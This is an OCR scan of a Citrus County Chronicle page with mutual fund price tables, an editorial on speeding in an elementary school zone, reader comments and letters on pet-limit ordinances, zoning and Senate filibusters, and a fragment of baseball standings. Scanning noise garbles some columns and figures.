CapAplnst 28.94 -.07 +9.7 Intir 42,06 -.51 +15.0 Hartford Fds A: AdvrsAp 15.08 -.06 +4.5 CpAppAp33.25 -.08 +11.1 DivGthAp 18.59 -.12 +10.5 SmCoAp 16.39 -.05 +7.0 Hartford HLS IA: Bond 12.15 +.02 +6.9 CapApp 51.91 -.13 +11.9 Dsv&Gr 20.57 -.14 +10.9 Advisers 23.18 -.09 +4.9 Stock 45.67 -.33 +4.5 Hartford HLS IB: CapAppp 51.61 -.14 +11.6 HollBalFdnl5.28 -.07 +2.3 SI Funds: NoAm px 7.49 +.01 +9.5 JPMorgan Select: IntEq n28.91 -.42 +13.2 JPMorgan Sel CIs: CoreBd ... ... NA Janus: Balanced 21.32 -.04 +8.7 Contrarian 12.78 -.05 +15.9 CoreEq 20.37 -.09 +11.4 Enterprn 36.88 -.07 +10.9 FedTEn 7.10 +.01 +5.9 FIxBnd n 9.66 +.03 +6.,0 Fundn 24.07 -.13 +2.9 GI UfeSci r n18.22-.06 +4.2 GrrTech rn 10.34 -.04 0,0 GrInc 32.06 -.18 +11,0 Mercury 20.97 -.10 +6.5 MdCpVal 22.20 -.03 +13.0 Olympus n28.73 -.12 +8.4 Orion n 7.14 -.02 +14.8 Ovseaser 24.10 -.10 +18.8 ShTmBd 2.90 +.01 +1.9 Twenty 43.28 -.10 +9.8 Venturn 54.58 -.23 +5.5 WrtdWr 40.05 -.36 +4.7 JennisonDryden A: BlendA 15.30 -.07 +9.0 HrYIdAp 5.70 +.02 +9.0 InsuredA 11,03 +.01 +6.9 UtibyA 12.66 ... +35.2 JennlsonDryden B: GrowthB 13.25 -.03 +86.5 HiYIdBt 5.69 +.02 +8.2 InsuredB 11.05 +.02 +6.7 Jensen 23.79 -.18 +0.6 John Hancock A: BondAp 15.30 +.05 +7.0 StrlnAp 6.99 ... +10.5 John Hancock B: StrncB 6.99 ... +9.7 Julius Baer Funds: IrdlEqA 31.00 -.15 +19.4 IntlEqlr 31.56 -.15 +19.7 Legg Mason: Fd OpporTrt 14.70 +.04 +3.8 Splnvp 45.38 -.17 +8.4 VaiTrp 62.58 +.05 +8.0 Legg Mason Insth: ValTnst 68.49 +.05 +9.1 Longleaf Partners: Partners 31.01 -.16 +5.4 Intl 15.66 +.02 +7.0 SmCap 30.79 +.05 +15,3 Loomis Sayles: LSBondl 13,63 +.02 +14.2 Lord Abbett A: AffilAp 14.23 -.08 +8.2 BdDebAp 7.85 +.02 +6.9 GlncAp 7.30 -.05 +6.9 MidCpAp 21.95 -.01 +16.8 MFS Funds A: MITAp 17.06 -.11 +10.5 MIGAp 12.11 -.05 +6.2 GrOpAp 8.64 -.03 +6.0 HilnAp 3.85 +.01 +9.0 MFLAp 10.25 +.01 +8.2 TotBRAp 15.85 -.02 +10.8 ValueAp 23.22 -.12 +14.2 MFS Funds B: MIGB 11.10 -.05 +5.5 GvSBt 9.71 +.02 +5.2 HilnBt 3.86 +.01 +8.3 MulnBt 8.70 +.01 +7.3 TotRBt 15,85 -.02 +10.1 MainStay Funds B: BIChGB p 9,40 -.05 +5,5 CopApBt 26.42 -.09 +0.3 ConvBl 12.68 -.01 +4.3 GovtBlx 8.37 +.01 +4.7 HYIBBtx 6.23 -.01 +9,6 IntlEqB 12.43 -.18 +12.1 SroCGBp 13.94 -.02 +5.5 TotRtBI 18.56 -.02 +5.9 Mairs & Power: Grownl 70.17 -.24 +10.1 Managers Funds: SpclEq n86.83 -.07 +9.4 Marstco Funds: Focusp 16.20 -.01 +11.1 Merrill Lynch A: GIAiAp 16.46 -.03 +12.9 Merrill Lynch B: BalCapBt 25,70 -.12 +6.8 BdHibnc 4.98 +,01 +5.7 CrOPIBI 11.83 +,03 +5.7 CnlTBI 12.01 +,04 +5.8 EqutyDiv 14.49 -.04 +15.4 EuroBt 14.31 -.17 +16.7 FocValt 12.17 +.01 +5.2 FndlGBt 15.65 -.08 +4.0 FLMBt 10.51 +.02 +9.0 GIA9Bt 16.11 -.03 +12.0 HealthBt 4.78 -03 +6,4 LatABt 24.97 -.03 +59.1 MnlnBI 7.96 +.01 +7.6 ShTUSGt 9.20 ... +1.5 MuShtT 9.98 ... +0.7 MulnIBt 10.60 +.01 +4.9 MNtlBt 10.63 +.01 +8.0 NJMBI 10.71 ... +9.8 NYMBt 11.15 +.01 +7.5 NatRsTBt35.79 -.12 +42.5 PacBt 18.54 +.13 +10.4 PAMBI 11.41 +.01 +7.6 ValueOppt23.58-.09 +6.7 USGvMg 110.30 +.02 +4.7 Uticflmt 11.10 -.01 +27.9 WidinBt 6.26 +.01 +14.4 Merrill Lynch I: BalCapl 26.55 -.12 +7.9 BaVII 31.15 -.19 +6.2 BdHilnc 4.97 +.01 +6.3 CaInsMB 11.74 +.01 +7.4 CrBPtII 11.83 +.03 +6.5 Cpm 12.01 +.04 +6.3 DvCapp 17.37 +.01 +27.6 EquityDv 14.47 -.04 +16.7 Eurolt 16.67 -21 +17.9 FocVall 13.36 +.01 +6.3 FLMI 10.51 +.02 +9.6- G9I1t 16.51 -.04 +13.1 HealthI 6.85 -.04 +7.5 LatAI 26.22 -.02 +60.9 MnlnIl 7.97 +.01 +8.4 MnShtT 9.98 ... +1.0 Mum 10.60 +.01 +5.2 MNatsl 10.63 +.01 +8.8 NalRsTrt 37.81 -.12 +43.9 Pad 20.22 +.15 +11.6 ValueOpp 26.24 -.09 +7,8 USGvtMtg 10.30 +.02 +5.5 Utlncmit 11.13 -.01 +28.9 WIdlncI 6.26 ... +15.2 Midas Funds: MidasFd 1.83 ... +0.5 Monetta Funds: Monefta n10.36 -.02 +7.9 Morgan Stanley A: DivGthA 36.60 -.25 +7.1 Morgan Stanley B: GlbDivB 13.64 -.15 +9.1 GrwthB 11.94 -.03 +3.6 StratB 17.85 -.04 +9.1 MorganStanley Inst: GlValEqAnl7.49 -.19 +9.3 IntlEqn 20.56 -30 +13.7 Muhlenk 78.77 -.05+21.9 Under Funds A: IntemtA 17.64 -.01 -1.7 Mutual Series: BeacnZ 16.20 -.04 +14.7 DiscZ 24,86 -.10 +19.6 QualdIZ 19.75 -.07 +16.8 SharesZ 23.39 -.06 +13.6 Nations Funds Inv B: FocEqBt 17.09 -.01 +10.0 MarsGrBt 16,46 -.03 +11.1 Nations Funds Pri A: IntIPrA n21.14 -.17 +14.6 Neuberger&Berm Inv: Focus 37.08 -.22 +3.7 Inllr 18.30 -.08 +21.8 Partner 25.78 -.12 +18.4 Neuberger&Berm Tr: Genesis 44.36 -,03 +17.3 Nicholas Applegate: EmgGrol n9.78 -.01 +7.2 Nicholas Group: Nich n61.76 +.01 +10.3 NchIlnn 2.14 +.01 +7.1 Northern Funds: SmCpldx n9.75 -.01 +9.2 Technlyn 11.06 -.03 -1.4 Nuveen CI R: InMunR 11.08 +.02 +7.7 IntDMBd 9.14 +.01 +7.3 Oak Assoc Fds: WhlteOkGn31.15 -.20 -8.1 Oakmark Funds I: Eqtylncr n23.64 -.04 +6.3 Gbobauln 21.99 -24 +12.8 Intllrn 21.35 -.24 +17.1 Oakmak r n4075-.26 +6.2 Selectrn 33.00 -.30 +6.1 Oppenheimer A: AMTFMu 10.14 +.01 +14.0 AMTFrNY 12.91 +.01 +12.6 CAMuniAp11.41 +.02 +19.1 CapApAp40.79 -.25 +5.1 CaplncAp12.19 -.01 +9.2 ChlncAp 9.38 +.02 +7.7 DvMktAp 27.87 -.19 +41.9 Discp 40.93 +.08 -2.6 EqutyA 10.85 -.04 +9.8 GtobAp 59.33 -.46 +14.0 GbOppA 31.94 +.03 +16.1 Goldp 16.77 -.08 +4.6 HiYdAp 9.38 +.02 +7.6 LtdTmMu 15,72 +.01 +12.0 MnStFdA 35,11 -.23 +7,3 MidCapA 16.41 -.04 +11.3 PAMuniAp 12.76 +.02 +16.0 StdrinAp 4.28 ... +11.0 USGvp 9.77 +.03 +6.9 Oppenheimer B: AMTFMu 10.11 +.01 +13.2 AMTFrNY 12.92 +.02 +11.8 CplncB1 12.06 -.01 +8.3 ChIncBt 9.37 +.02 +6.9 EquityB 10.47 -.04 +8.7 HiYldBt 9.24 +.02 +6.9 SlrlncBt 4.30 ... +10.2 Oppenheim Quest: QBaIA 17.75 -.06 +61 QBalB 17.48 -.06 +.3 Oppenheimer Roch: LIdNYAp 3.36 ... +8.6 RoMuAp 18.24 +.03 +13.8 PBHG Funds: SelGiwhrn20.96 ... -1.7 PIMCO Admin PIMS: TotRtAd 10.79 +.03 +7.4 PIMCO Instl PIMS: AIAsset 12.97 +.05 +12.9 ComodRR 15.54 +.07 +9.1 HiYkl 9.75 +.04 +11.7 LowDu 10.16 +.01 +2.8 RealRtnl 11.58 +.05 +9.,4 ShorIT 10.03 .., +2.2 TotRt 10.79 +.03 +7.6 PIMCO Funds A: RealRtAp11.58 +.05 +8.9 ToIRIA 10.79 +.03 +7.1 PIMCO Funds C: RealRtCp p.58 +.05 +8.4 TotRHCt 10.79 +.03 +6,4 PIMCO Funds D: TRtnp 10.79 +.03 +7.3 Phoenix Funds: BalanA 14.83 -.03 +6.2 Phoenix-Aberdeen : InlMA 9.94 -.07 +15.6 WIdOpp 8.34 -.05 +11,6 Phoenix-Engemann : CapGrA 14.82 -.11 +2.1 Pioneer Funds A: BalanA p 9.63 -.02 +3.4 BondAp 9.37 +.03 +7.9 EqlncAp 29.10 -.06 +16.4 EuropAp 29.32 -.54 +15.3 GrwthAp 11,93 -.07 +4.6 HiYItAp 11.00 +.03 +4.5 InBlaal 16.65 -.19 +12.0 MdCpGrA 14.53 -.05 +1.3 MdCVAp 25.22 -.06 +17.1 PionFdAp41.71 -.18 +10.4 TxFreAp 11.78 +.01 +9.7 ValueAp 17.63 -.09 +10.4 Pioneer Funds B: HiYbdBt 11.05 +03 4+3.7 MdCpVB 22.57 -.06 +16.0 Pioneer Funds C: HiYIdCt 11.15 +.03 +3.7 Price Funds: Balance n19.44 -.06 +10.0 BiChipn 30.22 -.13 +5,4 CABondn 11.12 +.01 +.77 CapAppn 19.47 -.05 +13.0 DivnGrSin 22.56 -.10 +9.8 Eqbncn 26.16 -.14 +12.5 Eqlndexn 32.12 -.19 +8,0 Europe n 19.53 -.25 +13.9 FLInlsn 10.97 +01 +4,5 GNMAn 9.63 +.01 +5.6 Growth n 26.21 -.09 +7.2 Gr&lnn 21.49-.13 +4.0 HlthSdn 21.90 -.19 -0.7 HiYiebdn 6.01 +.02 +9.1 ForEqn 15.02 -.11 +10.7 InllBond n 9.94 -.06 +8.7 InlDish 32.75 -.03 +19.2 InllStkn 12.58 -.09 +10.3 Japan n 8.31 +.05 +5.2 LatAmn 17.60 -.08 +58.5 MOSists 5.16 ... +1.6 Tamarack Funds: MDShrtn 5.16 ... +1.6 MDBondn1O.82 +.01 +6.9 MidCapn 49.79 -.08 +12.8 MCapVal n22.67 ... +13.6 NAmern 32.44 -.17 +4.8 NAsian 10.51 +.03 +27.6 New Era n 35.12 -.17 +32.3 NHorizn 29.14 ... +10.5 NIncn 9.14 +.02 +7.3 NYBondn 11.46 .+.01 +7.2 PSIncn 14.76 -.02 +8.9 RealEstn 17.97 +.14 +32.6 SacTecn 18.94 -.09 +2.4 ShtBdn 4.73 +.01 +2.3 SmCpSlkn30.72 -.04 +11.2 SmCapValn34.56 ... +15.8 SpecGrn 16.69 -.06 +11.4 Specinn 11.91 ... +8.5 TFIncn 10.12 +.01 +7.8 TxFrHn 11.95 +.01 +9.3 TFIntmrn 11.27 +.01 +5.0 TxFrSIn 5.39 ., +2.5 USTInIn 5.47 +.02 +4.0 USTLgn 12.31 +.10 +13.3 VABondn11.81 +.02 +7.5 Valuen 22.78 -.12 +12.6 Putnam Funds A: AmnGvAp 9.11 +.03 +5.2 AZTE 9.39 +.02 +7.4 CiscEqAp 12.70 -.09 +8.7 Convp 16.53 +.01 +2.8 DiscGr 16.79 -.02 +3.4 DvrinAp 10.24 +.03 +10.2 EuEq 20.49 -.23 +16.1 FLTxA 9.35 +.01 +7.7 GeoAp 17.97 -.05 +8.6 GIGvAp 12.81 -.04 +8.1 GbEqtyp 8.34 -.04 +11.5 GrnAp 19.17 -.14 +68.5 HlthAp 61.68 -.39 +9.7 HiYdAp 7.96 +.02 +10.1 HYAdAp 6.00 +.02 +10.3 IncmAp 6.90 +.03 +6.6 IntlEq p 23.07 -.13 +13.4 IntGdnp 11.54 -.07 +14.2 InvAp 12.51 -.08 +10.5 MITxp 9.11 +.01 +6.7 MNTxp 9.11 +.01 +6.3 NJTxAp 9.32 +.01 +7.4 NwOpAp 41.36 -.18 +7.7 OTCAp 7.13 +.01 +3.9 PATE 9.22 +.01 +7.9 TxExAp 8.91 +.01 +7.7 TFInAp 15.15 +.02 +6.9 TFHYA 12.99 +.02 +10.1 USGvAp 13.29 +.02 +5.6 UtilAp 10.46 ... +22.7 VstaAp 9.46 -.03 +12.9 VoyAp 16.26 -.10 +2.0 Putnam Funds B: CapAprt 17.45 -.06 +10.7 CiscEqBt 12.58 -.09 +7.9 DiscGr 15.53 -.03 +2.6 DvrnBt 10.16 +.02 +9.5 Eqlnct 17.12 -.11 +10.3 EuEq 19.76 -.22 +15.3 FLTxBt 9.35 +.01 +7.0 GeoBt 17.81 -.05 +7,7 GllncBt 12.77 -.03 +7.4 GbEqt 7.60 -.04 +10.5 GINIRst 24.44 -.19 +31.2 GrInBt 18.87 -.14 +7.7 HIthBt 56.25 -.37 +8.9 HiYldBt 7.92 +.02 +9.3 HYAdBt 5.92 +.01 +9.4 IncmBt 6.85 +.02 +5.8 IntGrlnt 11.33 -.07 +13.4 IntlNopt 10.92 -.05 +12.9 InvBt 11.48 -.07 +9.6 NJTxBt 9.31 +.01 +6.7 NwOpBt 37.25 -.16 +6.9 NwValp 17.47 -.10 +11.7 NYTxBt 8.84 +.01 +6.4 OTCBt 6.32 +.01 +3.3 TxExBt 8.91 +.01 +7.0 TFHYB1 13.01 +.01 +9.4 TFInB 15.17 +.02 +6.2 USGvBt 13.22 +.02 +4.8 UtlBt 10.39 ... +21.8 VistaBt 8.27 -.03 +11.9 VoyBt 14.19 -09 +1.3 Putnam Funds M: Dvrincp 10.15 +.02 +10.0 Royce Funds: LwPrStkr 14.23 -.01 +1.8 MicroCapl 14.64 -.01 +4.3 Premired r 14.57 +.04 +8.9 TotRetir 12.07 ... +13.2 Russell Funds S: QuantEqS 37.44 -.20 +8.5 Rydex Advisor: OTC n10,04 -.04 +4.6 SEI Portfolios: CoreFxA n10.57 +.02 +6.5 IntlEqAn 10.74 -.06 +13.0 LgCGroAn18.11 -.07 +3.4 LgCValAn2l.40 -.10 +13.9 STI Classic: CpAppLp 11.00 -.06 -0.4 CpAppAp 11.64 -.06 0.0 TxSnGrTp24.30 -.13 +4.4 TxSnGrLt122.78 -.12 +3.4 SVInStkA 12,44 -.08 +10.1 Salomon Brothers: BalancBp 12.65 -.02 +4.3 Opport 47.31 -.26 +13.7 Schwab Funds: 10001nvrn34.43 -.17 +8.8 S&Plnvn 18.44 -.11 +8.0 S&PSeln 18.51 -.11 +8.1 YIdPIsSI 9.68 ... +2.8 Scudder Funds A: DrHiRA 43.05 -.34 +15.2 FIgConAp 16.67 -.01 +15,5 USGovA 8.60 ... +5.5 Scudder Funds S: EmMkIn 11,02 +.06 +24.9 EmMkGrr 18,05 -.06 +26.3 GIbBdSr 10,25 -.03 +7.9 GIbDis 35,16 -.20 +20,5 GlobalS 26.71 -.19 +15.6 Gokl&Prc 14.37 -.15 -8,1 GrEuGr 26.85 -.45 +16.5 GrolncS 21.48 -.09 +7.4 HiYIdTx 12.89 ... +8.5 Incomes 13.00 +.04 +7.6 IntTxAMT 11.41 +.02 +5.6 Intl FdS 43.31 -.59 +13.2 LgCoGro 23.60 -.15 +4.1 LatAmr 34.16 -.25 +50.5 MgdMuni S 9.21 ... +6.8 MATFS 14.67 ... +6.5 PacOppsr 13.44 -.01 +19.0 ShtTrnBdS 10.09 +.01 +2.0 SmCoVISr 26.05 -.01 +15.9 Selected Funds: AmShSp 36.85 -.17 +9.1 Seligman Group: FrontrAt 12.22 -.02 +0,7 FrontlrD 10.78 -.02 -0.1 GIbSrmA 15.17 +.04 +15,2 GbTchA 12.17 -.02 +0.9 HYdBAp 3.37 +.01 +7.8 Sentinel Group: CornSAp 29.29 -.16 +8.9 Sequoia n151.34 -.91 -1.1 Sit Funds: LrgCpGr 34.06 -.15 +8.9 Smith Barney A: AgGrAp 91.84 -.46 +3.1 ApprAp 14.39 -.11 +6.7 FdValAp 14.48 -.06 +2.0 HilncAt 6.76 +.01 +2,4 InAICGAp 13.26 -.08 +13.1 LgCpGAp21.40 -.17 -2.9 Smith Barney B&P: FValBt 13.63 -.06 +1.2 Smith Barney 1: DvStrl 17,09 -.11 +0.9 GrInd 14.96 -.09 +5.2 St FarmAssoc: Gwth 48.38 -.42 +8.5 Stratton Funds: Dividend 35.76 +.25 +20.8 Growth 40.90 -.18 +20.3 SunAmerlca Funds: SunAmerlca Focus: TCW Galileo Fds: TD Waterhouse Fds: TIAA-CREF Funds: BdPlus 10.34 +.03 +6.7 Eqlndex 8.52 -.04 +9.1 Grornc 12.09 -.08 +.1 GroEq 9,00 -.04 +3.0 HiYkIBd 9.15 +.04 +9.0 IntlEq 10.34 -.05 +10,5 TxEBd 10.95 +.03 +7.2 Tamarack Funds: EntSmCp 31.15 -.01 +7.4 Value 44.85 -.33 +13.9 Templeton Instit: ForEqS 19.89 -.23 +18.5 Third Avenue Fds: RIEstVIr 28.54 +.06 +31.2 Value 54.62 .,. +27.4 Thrlvent Fds A: HiYIdx 5.09 +.01 +9.2 Incomx 8.78 +.02 +6.3 LgCpStk 25.30 -.12 +7.8 TA IDEX A: FdfEAp 11.86 +.02 +6.4 JanGrowp23.71 -.03 +9.2 GCGIobp23,91 -.17 +6.9 TrCHYBp 9.18 +.02 +8.5 TAFNInp 9,53 +,03 +7.3 Turner Funds: SmlCpGrn22.35 -.03 +2.9 Tweedy Browne: GlobVal 24.11 -.02 +14.3 US Global Investors: Al/Am n23.91 -.06 +8.9 GIbRs 11.70 -.04 +51.9 GIdShr 6.91 -.01 -5.3 USChina 6.62 ... +12.4 WidPrcMn 14.06 -.05 +2.0 USAA Group: AgvGt 28.87 -.06 +11.5 CABd 11.30 +.01 +8.7 CmstStr 26.53 -.12 +9.4 GNMA 9.76 +.01 +5.3 GrTxStr 14.65 -.01 +10.4 Growth 13.62 -.03 +10.1 Gr&Inc 18.32 -.06 +9,0 IncStk 16.57 -.10 +11.6 Inco 12.46 +.04 +7.5 In4 21.31 -.25 +11.9 NYBd 12.15 +.02 +9.0 PrecMM 13.60 -.18 -5.4 SdTech 9.21 -.02 -0.4 ShtTBnd 8.91 +.01 +2.4 SmCpStk 13.43 +.01 +15.4 TxEft 13.37 +.02 +7.0 TxELT 14,28 +.02 +9.3 TxESh 10,69 ... +2.3 VA Bd 11.79 +.01 +7.9 WIdGr 17.55 -.15 +11.5 Value Line Fd: LevGt n25.14 +.02 +8.1 Van Kamp Funds A: CATFAp 19.03 +.02 +8.7 CmslAp 18.24 -.11 +13.5 CpBdA p 6.72 +.02 +7.4 EGAp 38.02 -.10 +5.2 EqlncAp 8.54 -.03 +11.8 Exch 352.31 -3.15 +6.5 GrinAp 20.28 -.13 +14.4 HarbAp 14.02 +.02 +1.8 HiYdA 3.56 +.01 +8.1 HYMuAp 10.92 ... +11.5 InTFAp 19.05 +.02 +8.0 MunlAp 14.84 +.01 +7.7 PATFAp 17.60 +.03 +8.0 StrMuninc 13.34 ... +11.0 US MtgeA13.92 +.02 +5.4 UtilAp 17.76 +.07 +25.8 Van Kamp Funds B: CmslBt 18.22 -.12 +12.6 EGBt 32.55 -.08 +4.4 EnterpBt 11.25 -.05 +4.7 EqlncBt 8.40 -.03 +10,9 HYMuBt 10.92 ... +10.6 MulB 14.82 +.01 +6.9 PATFB1 17.54 +.02 +7.1 StrMunInc 13.33 ... +10.1 USMtge 13.86 +.01 +4.5 UtilB 17.72 +.07 +24.8 Vanguard Admiral: 500Admin110.11 -.68 +8.2 GNMAAdnlO.44 +.02 +6.8 HmlhCrn 55.71 -.27 +10.7 ITAdmln 13.54 +.02 +5.8 LtdTrAdn 10,80 ... +2.3 PTnCaprn63.47 -.29 +10.2 STsyAdmlnlO.43 +.01 +2.1 STIGrAdn 10.59 +.01 +2.8 TIlBAdmlon10.28 +.03 +6.8 TStkAdmn28.36 -.14 +9.4 WeltnAde n52.06-.14 +11.4 Windsorn 60.60 -.24 +11.7 WdsdlAdn55.26 -30 +15,2 Vanguard Fds: AssetA n24.40 -.16 +9.5 CALTn 11.88 +.01 +8.4 CapOppn 30.47 -.03 +11.8 Convrin 12.54 -.01 +1.2 DivdGron 12.13 -.09 +9.8 Energyn 45.11 -.37 +42.0 Eqlncn 23.23 -.12 +12.0 ExpIrn 73.01 -.08 +9.1 FLLTn 11.88 +.01 +7.3 GNMAn 10.44 +.02 +6.7 Grolncn 30.53 -.18 +9.3 GrnhEq n 9.47 -.03 +2.4 HYCorpn 6.23 +.02 +8.4 HithCren 132.01 -.65 +10.6 InflaPron 12.79 +.06 +.7 IntlExpIrn 16.54 ... +24.7 IntlGrn 18.35 -.13 +13.4 InStValn 30.62 -.19 +16.2 mGraden 10.03 +.04 +7.3 ITTsryn 11.25 +.04 +6.2 UfeConn 15.23 -.03 +7.7 UfeGrmon 19.89 -.09 +10.2 Ufelncn 13.57 ... +6.8 UfeModn 17.89 -.05 +9.4 LTIGraden 9.89 +.10 +16.7 LTTsryn 11.96 +.11 +15.3 Morgn 16.14 -.04 +6.7 MuHYn 10.90 +.01 +8.2 MulnsLgn 12.87 +.02 +8.0 Mulnin 13.54 +.02 +5.7 MuLdn 10.80 .. +2.2 MuLongn 11.50 +.02 +8.0 MuShrn 15.55 ... +1.4 NJLTn 12,10 +.02 +7.3 NYLTn 11,57 +.03 +7.9 OHLTTEnl2.26 +.02 +7.2 PALTn 11.60 +.02 +7.3 PrecMtlsrnl6.71 -.10 +26.0 Pmocprn 61.15 -.29 +10.1 SelValu r n 18.87 ... +21.7 STARsn 18.86 -.02 +10.5 STIGradenlO.59 +.01 +2.8 STFedn 10.37 +.01 +2.4 StratEqn 21.43 -.01 +16.9 USGton 15.98 -.04 +3.7 USValuen13.77 -.08 +12.4 Wellslyn 21.76 +.03 +9,8 Welltnn 30.13 -.09 +11.2 Wndsrn 17.95 -.07 +11,6 Wndslln 31.11 -.17 +15.1 Vanguard Idx Fds: 500 n110,09 -.68 +8.1 Balancedn19.38 -.03 +8.6 EMktn 14.95 -.09 +30.4 Europen 25.55 -.30 +17.1 Extendn 31.01 +.02 +13.7 GroMth n 26.01 -.14 +3.8 [TBndn 10,66 +.04 +.1 LgCaplxn 21.23 -.12 +9.1 MidCapn 15.80 +.01 +18.0 Padlicn 8,96 +.02 +9.3 REITrn 18.80 +.13 +29.4 SmCapn 26.14 -.02 +12.9 SmlCpVIn 13.68 ... +17.5 STrBndn 10.07 +.02 +2.6 TotBndn 10.28 +.03 +6.7 Tobllntdn 12.34 -.09 +163 TotStkn 20.36 -.13 +9.4 Valubn 21,30 -.11 +14.5 Vanguard InstIl Fds: Instldx n109.21 -.66 +4.3 InsPIn 109.21 -.67 +4.3 TOIstn 10.28 +.03 +6.8 TSInstn 28.37 -.13 +9.5 Vantagepoint Fds: Growth 7.94 -.03 -0.8 Waddell & Reed Adv: CorelnvA 5.69 -.03 +11.7 Wasatch: SrmCpGr 39.53 -.13 +13.1 Weltz Funds: ParlVal 23.34 -.06 +9.1 Value 30.69 -.11 +8.7 Wells Fargo Funds: Opplylnv 45.68 -.01 +9.8 Western Asset: CorePlus 10.66 +,03 +9.3 Core 11.46 +.03 +7.1 William Blair N: GrowthN 10.44 -.02 +5.5 Yacktman Funds: Fundp 15,23 -.08 +9.9 * -A-A -A dh 0wp 41M Available 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Chickew B 9 CITRUS COUNTY CHRONICLE 11 EDITORIAL BOARD Gerry Mulligan .........................publisher .id fts h, Charlie Brennan ........................... editor Neale Brennan .....promotions/community affairs rirs publisher emeritus boo toroost MM o - - SAFETY FIRST or five years, traffic con- trol officers Mel Whitsell and Frank Marinot have faithfully guarded the school zone at Forest Ridge Elementary School on Forest Ridge Boulevard with watchful eyes. What their watchful eyes .have recently observed has led them to express their concern about the potential risk posed by speeding motorists to students, teachers and parents entering and exiting the school zone. Whitsell and Marinot contend that since motorists began using Forest Ridge Boulevard to avoid road construction on County Road 491, some have not been abiding by THE IS the school zone's School zor posted 20 mph limit. Given the OUR OP boulevard's S- Increase curve near the Incr t school zone, Marino has sug- gested two safety improvements. One improve- ment would add blinking cau- tion lights on both sides of the boulevard at the entrance of the school zone. The other improvement would place cross-hatching on the pavement at the school zone's entrance and exit. However, as indicated by the response to Whitsell's and Marinot's expressed concern, the potential risk presented by speeding motorists appears to be in the eyes of the beholder. Larry Brock, the county's road mainte- nance director, reported that he did not observe any speeding motorists during his recent site visit to the school zone. Given Brock's observation, county officials have stated that they have no intention of adding any caution lights or deterrents. Sgt. Joe Palminteri, traffic unit director for the Citrus County Sheriff's Office, also does not see a speeding problem at the school zone. Noisy dogs I am so glad they are W considering limiting the number of animals that a household can keep. I hap- pen to live next door to someone with multiple -dogs. The noise gets very bad. Also, if you are down- wind, it is not pleasant. 563 Then there are the people 563- that think you keep your yard, your grass nice so they can bring their dogs in and leave you a deposit. Pick up after your animals. Limit for pets I read the article in Sunday's paper about limiting pets. I take in abused and abandoned animals and make them healthy and loved again. I buy animals Fancy Feast for cats, and the dogs eat cooked food. I've been told they eat better than some humans. I take them monthly to the vet. And my animals are very, very well treated and very loved. They never run the streets. They go out on leashes or in the back yard. The cats are indoor animals and they ne :1i I e f In drawing his conclusion, Palminteri cited a one-day traf- fic operation using an unmarked "cool car" during which time no motorists were observed speed- ing. It is disappointing that the observations of the traffic con- trol officers who have watched over the school zone for the past five years carry less weight than a brief site visit and a one-day traffic operation. It is also dis- appointing that rather than cooperating, county and sher- iff's officials are posting fingers at each other as to what should be done. Sheriff's officials say deci- sions regarding addi- tional school zone warning measures SUE: should be left to e safety. county officials. County Assistant INION: Public Works Director Tom Dick inforce- counters that with- lrst. out enforcement any additional warning measures would not curb speeders. In view of the apparent dis- counting of the traffic control officers' concerns and the bureaucratic finger-pointing, it appears that the risk manage- ment techniques of avoidance and modification are being over- looked. What better way to avoid the risk posed by speeding motorists than frequent and concerted enforcement to condition motorists to obey the school zone's posted speed limit. What better way to make the school zone safer than by modi- fying it with additional warning measures as suggested by Whitsell and Marinot. Thus, in the interest of safety first, it's time to stop minimizing the potential risk posed by speeding motorists. All parties concerned need to cooperatively work together to create a climate where safe operations are the priority and not the dispute. never go out back ... There is no reason why I have to be limited in my animals, because it's my house and I pay taxes and nobody [L should tell me how many I should have. It's against my civil rights. god* Zoning questions 0579 This is for the communi- ty service vehicles that go around. I live in Forest Lake North. I stopped one of your vehicles and I had a few questions to ask him. And this gentleman, I'll say, couldn't answer anything. I'm wondering if he knew what day it was. Really simple questions of the zoning, the coding for code viola- tions. I mean, what's your qualifica- tions breathing? And his last final statement to me was, "Uh well, good luck. I hope you find some- thing out." I mean, what is their job just to ride around in community service (vehicles) and do nothing? Couldn't answer any questions at all for me, knew nothing whatsoever. I guess breathing and a driver's license is the qualifications. -~ * ~ S - ta- S - a . - S - - - - -a - - = S a.* .~ a Filibuster shift People should get their facts straight. There is no rule regarding a filibuster, only a definition, which is "obstruction of legislation in the U.S. Senate by prolonged speech-making." Look it up. This is from "The Federalist," a con- servative Web site. Historically, Senate rules allowed for unlimited debate (filibuster) until 1917, when the rules were changed to allow a two-thirds vote (67 senators) to close debate and call for a vote. In 1975, the rules were changed to allow 60 senators to invoke cloture. At that time, Ted Kennedy said, '"Again and again in recent years, the filibuster has been the shame of the Senate and the last resort of special-interest groups. Too often, it has enabled a small minority of the Senate to prevent a strong majority from working its will and serving the public interest." Indeed, regarding judicial nomi- nees, "a small minority of the Senate" is preventing the "majority from work- ing its will and serving the public interest" by preventing judicial nomi- nees from receiving their constitution- ally mandated, full Senate vote. When Democrats still held a Senate majority, two of today's principal obstructionists spoke against judicial filibusters. Said Vermont's Patrick Leahy, "I have stated over and over again on this (Senate) floor that I would ... object and fight against any filibuster on a judge." OK. Now it's my turn. Just think how the Democrats 0 0 . The opinions expressed in Chronicle edi- torials are the opinions of the editorial board of the newspaper. .9. H SEND LETTERS TO: The Editor, 1624 N. Meadowcrest Blvd., Crystal River, FL 34429. Or, fax to (352) 563-3280; or e- mail to letters@chronicloonline.com. have shifted their positions to confuse and befuddle their own voters. Lemmings, buffaloes and Democrats follow the party line, and usually end in death to the herd. Leadership is hard to come by. It is almost nonexist- ent in the Democrat party. Don Canham Citrus Springs No pet limit The Board of Commissioners of Citrus County is trying to pass the pro- posed ordinance number 2005, amend- ing current policies. This proposal has to do with regulating the amount of - - - 9- - - = 0 - ~- -00- - - -- - _ - --- dogs/cats allowed, the number of acres needed and the breeding of dogs and cats, and claims that by passing these regulations, the county will be "com- plying with Florida Statutes." The only regulations the State of Florida has concerning animals is the vaccinations and licensing of animals. This is mis- leading. Now the county will have one more tool when it already has a whole slew that apparently aren't working. I count at least 32 sections in force addressing animals. How can the county imply that the proposed ordi- nance will be different? Why not work with the public with low-cost spay/neuter clinics, low-cost vaccinations and education? How will this new proposal be enforced? I am on various animal groups that complain about the policing and gov- erning in Europe to the point that few people want or can afford dogs. Yet, I have heard more than once that some people involved in this proposal hold the European standards up as high and lofty ones. I thought we were America, not a government that feels the need to tell us how to live. Let's all show up for the general meeting to lodge our protests against this proposal. We live in Citrus County because it is beautiful and we are free to live our lives as long as we don't hurt others. Why do we need commission- ers telling us that by their setting a limit on dog and cats, "they" will make things better? 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AMERICAN LEAGUE East Division W L Pct GB L10 31 20 .608 z-5-5 28 